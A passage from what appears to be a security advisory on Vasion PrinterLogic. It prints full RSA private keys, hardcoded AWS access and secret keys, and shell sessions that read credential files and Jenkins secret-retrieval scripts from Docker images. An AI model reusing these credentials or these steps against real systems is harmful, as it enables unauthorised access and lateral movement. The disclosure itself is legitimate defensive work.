JXjKWt77pC85TSwb5IP4ou65W+rUIlKq5iM2mXSPg9y4e75FTs+2B4sfbqkrptaH
tsmOmT5dau2zIWbM6hqat/fIj/Tb0JdSfkYDykWnsfujl7w4jK8kux94GM+ICm1k
WXmQ0h6ed4vGK+VZJOfZeV/BLS4pmrs7pF+ovYZUqQZRJFcByntg5KnvoAt0Mb2J
s3wLAwmXqp2JKfECggEBAN7wEqBr2Awn0QJj5RuL9XvuHcAuq1HYniC6fDOriXKh
jzCNV/BdGdA3H+Pr2zK03xx8/B98k5r/Jp3R2fxPwlyQq9Fg+O9GCkPjuMYUhnI+
/xke51ecNVIeAoAod6AKBpMq8rfQB9ANI0Y/q5qYiqOVsFlNzUvrHvYxdORZgQ5Y
1eIRI0EnEfhKtAjhuMPus05+DrCZZQjOOT9ZJc5C4gkj1QoSB5qAhNUVAbnAJUrV
Qx7nQzpJ3cM6KJ6em7eA9gppC/FqjZBUi89AM5Lhrt8Jy6e1MTGWJWCU307qWYQ6
J6DSJDbSriD7hRiRCni2F89KXnjIl0wqx1kw85EVuqsCggEBAMJFmziq3KOKUspv
PgdWDEP1q9bmWMvO4FIJ1/H0vSAtCVEVp0wLTeXl4oxsVlwdh5fJ8UZPx8zT2pdV
SPyMsf/sRmfE7vn1JjmIHq/vnX+AoelJX/ShsqebwtyziKnD2OwgT77FM1FN001U
xlNIoahsuf7BT3pBi07Q3fLmq1Mx1REd18ODK8BujG95cFQxIDIWQBBI/L5R7Kx3
8qu+w+wW9TOwFSSxj6A3gxKU8FkxTn7bchi2Es3cE9T9tpUVkBg1+JSclm653/Tq
RM/1uSrRkeTGRuGxGCrGa34Yd3dpa37fZSJbXSvmvgeWzgbjiMlB2o6/gX6uMu4U
8WCYXpECggEBALkWQ8CgCGx/Gg2L9ghauGI9nMGTfXSkDRRK/xa+0Yw0CXdbwaiz
At1VBsrpY8DDXYB/W6qgeMN0FhFsyjep2EmVarCYe9PbKGaYxyzcmYp8NroaaCLa
c4JLm/PepQJfkHnabEyjD/lxDtohvkzJXEDX4+MgrtLaz4fCI7P5gyXwJxJa/BP5
ZffnvXSqQgWZRZBjI7sGf1VCMVEgqDyIVrUT5KlJsrpY/O8TU61tkwh/6gvcIHpi
HRUaUeLu94TwMlUORXYW6pTrPG/Cc478g3x023nO+pqad0mqD4OrGMqopYHlNV+2
pg6IA0YUFMeHFllo+un4T3RTB9JKy8ymZ6UCggEAM1MBDAm0HbgDJW/79gdOF27v
SDhGLbcq5kScqz39RXnQ0rDy3xKgHi0H+OruLPNviQHVI7n1IALV2MUOxEf7OJRL
JuQjQz+AzEEioHZBGWXJ/xydx3uEQ1Lrk9opHYCgvyy5bqCFJwqzD2DUMWEXokOo
RqZrGNV4O6LB/BaEOakpuGtIdZwZFA153qjaGnSxKBwtMtOJm6KZkOehrqP3jwCQ
f4X/oEibvfJ7EHD1MpJxidjmoiKiLt9ApdRdGirk6K+KYhoJm2iWsJlEHaEuONrz
W0QmzE6bp3F+9+pVuBdkZ0yF/VTynGxM6BK/jsA2xesBbSChYorJyklQ5RUuBg==
-----END RSA PRIVATE KEY-----

kali% cat f8b7e55b72b82e3dcfc3801441522e87cf9b3a9c8bc10e66ad7ba421ee5cac9c
-----BEGIN RSA PRIVATE KEY-----
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
-----END RSA PRIVATE KEY-----
kali%
</code></pre>
<p>These keys are used in shellscripts:    </p>
<p>Content of <code>./078f952821d4306172dbb709574c8db80770a13f649d62863b65597b32d0f294/var/www/vendor/printerlogic/microservice-sdk-pkg/.docker-config/entrypoint.sh</code>:</p>
<div class="colorful" style="background: #f8f8f8"><pre style="line-height: 125%"><span></span>kali% cat ./078f952821d4306172dbb709574c8db80770a13f649d62863b65597b32d0f294/var/www/vendor/printerlogic/microservice-sdk-pkg/.docker-config/entrypoint.sh
...
<span style="color: #008000">cd</span> /var/www/app

<span style="color: #408080; font-style: italic"># We need the build key in our dev environment for running some npm stuff; we have access to the key already because</span>
<span style="color: #408080; font-style: italic"># we are running in our bind-mounted source volume</span>
mkdir -p /root/.ssh/
cp /var/www/app/.docker-config/buildkey/key /root/.ssh/id_rsa
chmod <span style="color: #666666">600</span> /root/.ssh/id_rsa
</pre></div>

<p>They may also be used for Bitbucket and Github.</p>
<p>For example, it is possible to extract private information about repositories hosted by Bitbucket.</p>
<p>Content of <code>./078f952821d4306172dbb709574c8db80770a13f649d62863b65597b32d0f294/var/www/vendor/printerlogic/ms-auth-key-pkg/.git/config</code>:</p>
<pre><code>kali% less ./078f952821d4306172dbb709574c8db80770a13f649d62863b65597b32d0f294/var/www/vendor/printerlogic/ms-auth-key-pkg/.git/config
[core]  
        repositoryformatversion = 0
        filemode = true
        bare = false
        logallrefupdates = true
[remote "origin"]
        url = git@bitbucket.org:printerlogicDev/ms-auth-key-pkg.git
        fetch = +refs/heads/*:refs/remotes/origin/*
[branch "develop"]
        remote = origin
        merge = refs/heads/develop
[remote "composer"]
        url = git@bitbucket.org:printerlogicDev/ms-auth-key-pkg.git
        fetch = +refs/heads/*:refs/remotes/composer/*
</code></pre>
<p>If these keys are used for specific access, an attacker can use them for lateral movements and compromise the Vasion PrinterLogic infrastructure.</p>
<p><a id="va-hardcoded-aws-key"></a></p>
<h2>Details - Hardcoded AWS secret key and Presence of CI/CD scripts</h2>
<p>The Docker instances contain hardcoded AWS secret API keys.</p>
<p>The remaining docker data from previously installed instances also contain scripts regarding Continuous Integration and Continuous Deployment (CI/CD), with configuration of remote Jenkins servers (buildmaster-01.pl-labs.com and buildmaster-02.pl-labs.com).  Using valid AWS secret keys, an attacker can compromise Jenkins servers and ultimately compromise customers using Supply Chain attack.</p>
<p>Extraction of AWS secret key.</p>
<p>Hardcoded AWS keys in <code>Readme.md</code>, <code>.env</code> and <code>.env.local</code> files:</p>
<pre><code>root@printerlogic:/var/lib/docker/overlay2/b824f2e313d90952d397bc61401bff229c6feea92597b8d37758b959b08d2ffa/merged/var/www/app# less Readme.md

AWS_ACCESS_KEY_ID: AKIAJ5I5ZX5VQ43PMYIQ
AWS_DEFAULT_REGION: us-west-2
AWS_QUEUE_NAMESPACE: 709423830911
AWS_QUEUE_PREFIX: service-pi_
AWS_SECRET_ACCESS_KEY: (secret key is here)
QUEUE_DRIVER: sqs


root@printerlogic:~# docker exec -it f0e85e3f453e bash
root@f0e85e3f453e:/var/www/app#  printenv
AWS_DEFAULT_REGION=us-west-2
AWS_QUEUE_PREFIX=appliance_
AWS_SECRET_ACCESS_KEY=
AWS_DB_BACKUP_BUCKET=appliance-storage-01-us-west-2-dbbackups
AWS_ACCOUNT_ID=
AWS_ACCESS_KEY_ID=
AWS_QUEUE_NAMESPACE=453267620913


root@6eff9ad21815:/var/www/app# cat .env.local
#
# Environment variables expected by config/aws.php and config/queue.php
# Docker will set them at container runtime
#
# AWS variables only apply when QUEUE_CONNECTION=sqs
#AWS_ACCESS_KEY_ID=AKIAIWHNML7OFS67RVKQ
#AWS_SECRET_ACCESS_KEY=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
#AWS_DEFAULT_REGION=us-west-2
#AWS_QUEUE_PREFIX=local_
#AWS_QUEUE_NAMESPACE=453267620913


AWS_ROLE_ARN=arn:aws:iam::${INSTANCE_ACCOUNT_ID:-}:role/engineering/services/pl-migrations-${PRINTERCLOUD_DOMAIN}



root@5513823753ee:/var/www/app# cat .env


#AWS_ACCESS_KEY_ID=AKIAIWHNML7OFS67RVKQ
#AWS_SECRET_ACCESS_KEY=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


cat ./out-images/ca4c2c2f1d1ae20e040f645497fadeb96292efc22af690ae5d6f78629c9d80a5/var/www/app/.env.local
# Docker will set them at container runtime - local environments use database queues, not AWS
#
# AWS_ACCESS_KEY_ID=SECRETS_DO_NOT_BELONG_HERE
# AWS_SECRET_ACCESS_KEY=SECRETS_DO_NOT_BELONG_HERE
AWS_DEFAULT_REGION=us-west-2
AWS_DB_BACKUP_BUCKET=pl-pi-db-backup
# AWS_QUEUE_PREFIX=local_
# AWS_QUEUE_NAMESPACE=453267620913
</code></pre>
<p>Laravel may use these keys to store data.</p>
<p>Content of the <code>filesystems.php</code> configuration file for Laravel:</p>
<div class="colorful" style="background: #f8f8f8"><pre style="line-height: 125%"><span></span>kali% cat ./www/app/config-laravel/filesystems.php

        &#39;s3DbBackup&#39; =&gt; [
            &#39;driver&#39; =&gt; &#39;s3&#39;,
            &#39;key&#39;    =&gt; env(&#39;AWS_ACCESS_KEY_ID&#39;),
            &#39;secret&#39; =&gt; env(&#39;AWS_SECRET_ACCESS_KEY&#39;),
            &#39;region&#39; =&gt; env(&#39;AWS_DEFAULT_REGION&#39;, &#39;us-west-2&#39;),
            &#39;bucket&#39; =&gt; env(&#39;AWS_DB_BACKUP_BUCKET&#39;),
        ],
</pre></div>

<p>When testing these keys, luckily they do not work:</p>
<pre><code>kali% aws configure
AWS Access Key ID [None]: AKIAIWHNML7OFS67RVKQ
AWS Secret Access Key [None]: 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
Default region name [None]: us-west-2
Default output format [None]: json
kali% aws s3 ls
An error occurred (InvalidAccessKeyId) when calling the ListBuckets operation: The AWS Access Key Id you provided does not exist in our records.
</code></pre>
<p>When trying to find other credentials, it appears some AWS buckets are defined in shell scripts:</p>
<p>Grepping <code>BUCKET</code> in the Docker instances:</p>
<pre><code>./out-images/10daa560935d018324043b3ae4110cc94d91e24ab756da94634f6106b2f69ec6/var/www/app/.env:AWS_DB_BACKUP_BUCKET=pl-pi-db-backup
./out-images/f9380ebd8863a503cfb6f1864cfd46dc28611d1e35c7569fc26eb07700c41f63/opt/pc-sys/env/base/app.env:AWS_DB_BACKUP_BUCKET="${ENVIRONMENT:-prod}-storage-01-${REGION:-us-west-2}-dbbackups"
./out-images/f9380ebd8863a503cfb6f1864cfd46dc28611d1e35c7569fc26eb07700c41f63/opt/pc-sys/env/overlays/service-stack/app.env:AWS_DB_BACKUP_BUCKET=service-${LOCAL_SERVICE}-${REGION:-us-west-2}-dbbackups
</code></pre>
<p>This list is not exhaustive and it is recommended to review every Docker instance.</p>
<p>From the script <code>get-aws-secret.sh</code>, it appears the solution uses AWS Secret Manager to retrieve username and password of the PrinterLogic Jenkins servers (buildmaster-01.pl-labs.com and buildmaster-02.pl-labs.com):</p>
<div class="colorful" style="background: #f8f8f8"><pre style="line-height: 125%"><span></span>root@printerlogic:/var/lib/docker/overlay2/8a3ab41bb86c5ad10915b7a9840fcd4584b7cb2761b653856d81626025dcc1a9/diff/opt/bin# grep get-aws-secret.sh *
aws-mon.sh:  <span style="color: #19177C">JENKINS_USERNAME</span><span style="color: #666666">=</span><span style="color: #008000; font-weight: bold">$(</span>/var/www/cicd-linux-ops/bin/get-aws-secret.sh jenkins_access username<span style="color: #008000; font-weight: bold">)</span>
aws-mon.sh:  <span style="color: #19177C">JENKINS_PASSWORD</span><span style="color: #666666">=</span><span style="color: #008000; font-weight: bold">$(</span>/var/www/cicd-linux-ops/bin/get-aws-secret.sh jenkins_access password<span style="color: #008000; font-weight: bold">)</span>
aws-mon.sh:  <span style="color: #19177C">JENKINS_CREDENTIAL_ID</span><span style="color: #666666">=</span><span style="color: #008000; font-weight: bold">$(</span>/var/www/cicd-linux-ops/bin/get-aws-secret.sh jenkins_access credential_id<span style="color: #008000; font-weight: bold">)</span>

root@printerlogic:/var/lib/docker/overlay2/8a3ab41bb86c5ad10915b7a9840fcd4584b7cb2761b653856d81626025dcc1a9/diff/opt/bin# cat get-aws-secret.sh 
<span style="color: #408080; font-style: italic">#!/bin/bash</span>
<span style="color: #19177C">SECRET_ID</span><span style="color: #666666">=</span><span style="color: #19177C">$1</span>
<span style="color: #19177C">SECRET_KEY</span><span style="color: #666666">=</span><span style="color: #19177C">$2</span>
<span style="color: #008000; font-weight: bold">if</span> <span style="color: #666666">[[</span> -z <span style="color: #BA2121">&quot;</span><span style="color: #BB6688; font-weight: bold">${</span><span style="color: #19177C">SECRET_ID</span><span style="color: #BB6688; font-weight: bold">}</span><span style="color: #BA2121">&quot;</span> <span style="color: #666666">]]</span> ; <span style="color: #008000; font-weight: bold">then</span> 
    <span style="color: #008000">echo</span> <span style="color: #BA2121">&quot;You must specify the secret id and key (in that order)&quot;</span> <span style="color: #666666">&amp;&amp;</span> <span style="color: #008000">exit</span> <span style="color: #666666">1</span>
<span style="color: #008000; font-weight: bold">fi</span>
<span style="color: #008000; font-weight: bold">if</span> <span style="color: #666666">[[</span> -z <span style="color: #BA2121">&quot;</span><span style="color: #BB6688; font-weight: bold">${</span><span style="color: #19177C">SECRET_KEY</span><span style="color: #BB6688; font-weight: bold">}</span><span style="color: #BA2121">&quot;</span> <span style="color: #666666">]]</span> ; <span style="color: #008000; font-weight: bold">then</span> 
    <span style="color: #008000">echo</span> <span style="color: #BA2121">&quot;You must specify the secret id and key (in that order)&quot;</span> <span style="color: #666666">&amp;&amp;</span> <span style="color: #008000">exit</span> <span style="color: #666666">1</span>
<span style="color: #008000; font-weight: bold">fi</span>

<span style="color: #408080; font-style: italic"># Get the secret</span>
<span style="color: #19177C">SECRET_VALUE</span><span style="color: #666666">=</span><span style="color: #008000; font-weight: bold">$(</span>aws secretsmanager --output text get-secret-value --secret-id <span style="color: #BB6688; font-weight: bold">${</span><span style="color: #19177C">SECRET_ID</span><span style="color: #BB6688; font-weight: bold">}</span> | awk <span style="color: #BA2121">&#39;{print $4}&#39;</span> | jq -r <span style="color: #BA2121">&quot;.</span><span style="color: #BB6688; font-weight: bold">${</span><span style="color: #19177C">SECRET_KEY</span><span style="color: #BB6688; font-weight: bold">}</span><span style="color: #BA2121">&quot;</span><span style="color: #008000; font-weight: bold">)</span>
<span style="color: #008000; font-weight: bold">if</span> <span style="color: #666666">[[</span> <span style="color: #19177C">$?</span> -gt <span style="color: #666666">0</span> <span style="color: #666666">]]</span> <span style="color: #666666">||</span> <span style="color: #666666">[[</span> -z <span style="color: #BA2121">&quot;</span><span style="color: #BB6688; font-weight: bold">${</span><span style="color: #19177C">SECRET_VALUE</span><span style="color: #BB6688; font-weight: bold">}</span><span style="color: #BA2121">&quot;</span> <span style="color: #666666">]]</span> ; <span style="color: #008000; font-weight: bold">then</span> 
    <span style="color: #008000">echo</span> <span style="color: #BA2121">&quot;Unable to find a value for id: &#39;</span><span style="color: #BB6688; font-weight: bold">${</span><span style="color: #19177C">SECRET_ID</span><span style="color: #BB6688; font-weight: bold">}</span><span style="color: #BA2121">&#39; and key: &#39;</span><span style="color: #BB6688; font-weight: bold">${</span><span style="color: #19177C">SECRET_KEY</span><span style="color: #BB6688; font-weight: bold">}</span><span style="color: #BA2121">&#39;&quot;</span> <span style="color: #666666">&amp;&amp;</span> <span style="color: #008000">exit</span> <span style="color: #666666">1</span>
<span style="color: #008000; font-weight: bold">fi</span>

<span style="color: #408080; font-style: italic"># Release the hounds!</span>
<span style="color: #008000">echo</span> <span style="color: #BB6688; font-weight: bold">${</span><span style="color: #19177C">SECRET_VALUE</span><span style="color: #BB6688; font-weight: bold">}</span>
</pre></div>

<p>After analyzing some shell scripts present in Docker instances, the scripts are also used to execute code on remote Jenkins instances:</p>
<p>Managing buildmaster-01.pl-labs.com:</p>
<div class="colorful" style="background: #f8f8f8"><pre style="line-height: 125%"><span></span>kali% <span style="color: #008000">pwd</span>
/home/user/printerlogic/updates/out/out-images/4ecc6d1307c1c74ddccbdc983b2fe024742ec0531265255b5730dcb5afc0fa52
kali% less opt/build/bin/lifecycle-hook-watch.sh
<span style="color: #408080; font-style: italic">#!/bin/bash -l</span>
<span style="color: #19177C">JENKINS_URL</span><span style="color: #666666">=</span>buildmaster-01.pl-labs.com

<span style="color: #408080; font-style: italic"># How long to wait for jenkins jobs to complete before forcefully killing the instance</span>
<span style="color: #19177C">WAIT_MINUTES</span><span style="color: #666666">=45</span>

<span style="color: #408080; font-style: italic"># Get Jenkins secret info</span>
<span style="color: #19177C">JENKINS_USERNAME</span><span style="color: #666666">=</span><span style="color: #008000; font-weight: bold">$(</span>get-aws-secret.sh jenkins_access username<span style="color: #008000; font-weight: bold">)</span>
<span style="color: #19177C">JENKINS_PASSWORD</span><span style="color: #666666">=</span><span style="color: #008000; font-weight: bold">$(</span>get-aws-secret.sh jenkins_access password<span style="color: #008000; font-weight: bold">)</span>
<span style="color: #19177C">JENKINS_CREDENTIAL_ID</span><span style="color: #666666">=</span><span style="color: #008000; font-weight: bold">$(</span>get-aws-secret.sh jenkins_access credential_id<span style="color: #008000; font-weight: bold">)</span>
<span style="color: #008000; font-weight: bold">if</span> <span style="color: #666666">[[</span> -z <span style="color: #BA2121">&quot;</span><span style="color: #BB6688; font-weight: bold">${</span><span style="color: #19177C">JENKINS_USERNAME</span><span style="color: #BB6688; font-weight: bold">}</span><span style="color: #BA2121">&quot;</span>  <span style="color: #666666">]]</span> <span style="color: #666666">||</span> <span style="color: #666666">[[</span> -z <span style="color: #BA2121">&quot;</span><span style="color: #BB6688; font-weight: bold">${</span><span style="color: #19177C">JENKINS_PASSWORD</span><span style="color: #BB6688; font-weight: bold">}</span><span style="color: #BA2121">&quot;</span>  <span style="color: #666666">]]</span> <span style="color: #666666">||</span> <span style="color: #666666">[[</span> -z <span style="color: #BA2121">&quot;</span><span style="color: #BB6688; font-weight: bold">${</span><span style="color: #19177C">JENKINS_CREDENTIAL_ID</span><span style="color: #BB6688; font-weight: bold">}</span><span style="color: #BA2121">&quot;</span> <span style="color: #666666">]]</span>; <span style="color: #008000; font-weight: bold">then</span>
        <span style="color: #008000">echo</span> <span style="color: #BA2121">&quot;Missing one or more of jenkins username/password/credential_id&quot;</span> <span style="color: #666666">&amp;&amp;</span> <span style="color: #008000">exit</span> <span style="color: #666666">1</span>
<span style="color: #008000; font-weight: bold">fi</span>

<span style="color: #408080; font-style: italic"># Get a temporary token so we can make a curl requests to jenkins</span>
<span style="color: #19177C">JENKINS_TOKEN</span><span style="color: #666666">=</span><span style="color: #008000; font-weight: bold">$(</span>curl -u <span style="color: #BB6688; font-weight: bold">${</span><span style="color: #19177C">JENKINS_USERNAME</span><span style="color: #BB6688; font-weight: bold">}</span>:<span style="color: #BB6688; font-weight: bold">${</span><span style="color: #19177C">JENKINS_PASSWORD</span><span style="color: #BB6688; font-weight: bold">}</span> <span style="color: #BA2121">&#39;&#39;</span><span style="color: #BB6688; font-weight: bold">${</span><span style="color: #19177C">JENKINS_URL</span><span style="color: #BB6688; font-weight: bold">}</span><span style="color: #BA2121">&#39;/crumbIssuer/api/xml?xpath=concat(//crumbRequestField,&quot;:&quot;,//crumb)&#39;</span><span style="color: #008000; font-weight: bold">)</span>
<span style="color: #008000; font-weight: bold">if</span> <span style="color: #666666">[[</span> <span style="color: #19177C">$?</span> -gt <span style="color: #666666">0</span>  <span style="color: #666666">]]</span> <span style="color: #666666">||</span> <span style="color: #666666">[[</span> -z <span style="color: #BA2121">&quot;</span><span style="color: #BB6688; font-weight: bold">${</span><span style="color: #19177C">JENKINS_TOKEN</span><span style="color: #BB6688; font-weight: bold">}</span><span style="color: #BA2121">&quot;</span>  <span style="color: #666666">]]</span>; <span style="color: #008000; font-weight: bold">then</span>
        <span style="color: #008000">echo</span> <span style="color: #BA2121">&quot;Unable to retrieve a token from the jenkins master&quot;</span> <span style="color: #666666">&amp;&amp;</span> <span style="color: #008000">exit</span> <span style="color: #666666">1</span>
<span style="color: #008000; font-weight: bold">fi</span>
...
<span style="color: #408080; font-style: italic"># Mark this node offline so it won&#39;t take more jobs</span>
<span style="color: #008000">echo</span> <span style="color: #BA2121">&quot;Taking node </span><span style="color: #19177C">$INSTANCE_IP</span><span style="color: #BA2121"> offline&quot;</span>
curl -X POST -s -u  <span style="color: #BB6688; font-weight: bold">${</span><span style="color: #19177C">JENKINS_USERNAME</span><span style="color: #BB6688; font-weight: bold">}</span>:<span style="color: #BB6688; font-weight: bold">${</span><span style="color: #19177C">JENKINS_PASSWORD</span><span style="color: #BB6688; font-weight: bold">}</span> -H <span style="color: #BA2121">&quot;</span><span style="color: #BB6688; font-weight: bold">${</span><span style="color: #19177C">JENKINS_TOKEN</span><span style="color: #BB6688; font-weight: bold">}</span><span style="color: #BA2121">&quot;</span> <span style="color: #BB6688; font-weight: bold">${</span><span style="color: #19177C">JENKINS_URL</span><span style="color: #BB6688; font-weight: bold">}</span>/computer/linux-build-<span style="color: #BB6688; font-weight: bold">${</span><span style="color: #19177C">INSTANCE_IP</span><span style="color: #BB6688; font-weight: bold">}</span>/toggleOffline?offlineMessage<span style="color: #666666">=</span>ScalingDown

<span style="color: #408080; font-style: italic"># Check for jobs running on this node, wait if necessary</span>
<span style="color: #19177C">i</span><span style="color: #666666">=0</span>; <span style="color: #008000; font-weight: bold">until</span> <span style="color: #666666">[</span> <span style="color: #19177C">$i</span> -ge <span style="color: #19177C">$WAIT_MINUTES</span> <span style="color: #666666">]</span>; <span style="color: #008000; font-weight: bold">do</span>
  <span style="color: #19177C">RESP</span><span style="color: #666666">=</span><span style="color: #008000; font-weight: bold">$(</span>curl -s -u <span style="color: #BB6688; font-weight: bold">${</span><span style="color: #19177C">JENKINS_USERNAME</span><span style="color: #BB6688; font-weight: bold">}</span>:<span style="color: #BB6688; font-weight: bold">${</span><span style="color: #19177C">JENKINS_PASSWORD</span><span style="color: #BB6688; font-weight: bold">}</span> -H <span style="color: #BA2121">&quot;</span><span style="color: #BB6688; font-weight: bold">${</span><span style="color: #19177C">JENKINS_TOKEN</span><span style="color: #BB6688; font-weight: bold">}</span><span style="color: #BA2121">&quot;</span> <span style="color: #BB6688; font-weight: bold">${</span><span style="color: #19177C">JENKINS_URL</span><span style="color: #BB6688; font-weight: bold">}</span>/computer/linux-build-<span style="color: #BB6688; font-weight: bold">${</span><span style="color: #19177C">INSTANCE_IP</span><span style="color: #BB6688; font-weight: bold">}</span>/loadStatistics/api/json?depth<span style="color: #666666">=2</span><span style="color: #008000; font-weight: bold">)</span>
  <span style="color: #19177C">BUSY_EXECS</span><span style="color: #666666">=</span><span style="color: #008000; font-weight: bold">$(</span><span style="color: #008000">echo</span> <span style="color: #19177C">$RESP</span> | jq <span style="color: #BA2121">&#39;.busyExecutors.sec10.latest&#39;</span><span style="color: #008000; font-weight: bold">)</span>
...
 Remove node from Jenkins entirely
curl -X POST -s -u  <span style="color: #BB6688; font-weight: bold">${</span><span style="color: #19177C">JENKINS_USERNAME</span><span style="color: #BB6688; font-weight: bold">}</span>:<span style="color: #BB6688; font-weight: bold">${</span><span style="color: #19177C">JENKINS_PASSWORD</span><span style="color: #BB6688; font-weight: bold">}</span> -H <span style="color: #BA2121">&quot;</span><span style="color: #BB6688; font-weight: bold">${</span><span style="color: #19177C">JENKINS_TOKEN</span><span style="color: #BB6688; font-weight: bold">}</span><span style="color: #BA2121">&quot;</span> <span style="color: #BB6688; font-weight: bold">${</span><span style="color: #19177C">JENKINS_URL</span><span style="color: #BB6688; font-weight: bold">}</span>/computer/linux-build-<span style="color: #BB6688; font-weight: bold">${</span><span style="color: #19177C">INSTANCE_IP</span><span style="color: #BB6688; font-weight: bold">}</span>/doDelete
</pre></div>

<p>Executing code on buildmaster-01.pl-labs.com:</p>
<div class="colorful" style="background: #f8f8f8"><pre style="line-height: 125%"><span></span>kali% less opt/build/bin/register-node.sh
<span style="color: #19177C">JENKINS_URL</span><span style="color: #666666">=</span><span style="color: #BA2121">&quot;http://jenkins.pl-labs.com&quot;</span>
<span style="color: #19177C">NODE_IP</span><span style="color: #666666">=</span><span style="color: #BA2121">&quot;</span><span style="color: #BB6688; font-weight: bold">${</span><span style="color: #19177C">INSTANCE_IP</span><span style="color: #BB6688; font-weight: bold">}</span><span style="color: #BA2121">&quot;</span>
...
<span style="color: #19177C">JENKINS_USERNAME</span><span style="color: #666666">=</span><span style="color: #008000; font-weight: bold">$(</span>get-aws-secret.sh jenkins_access username<span style="color: #008000; font-weight: bold">)</span>
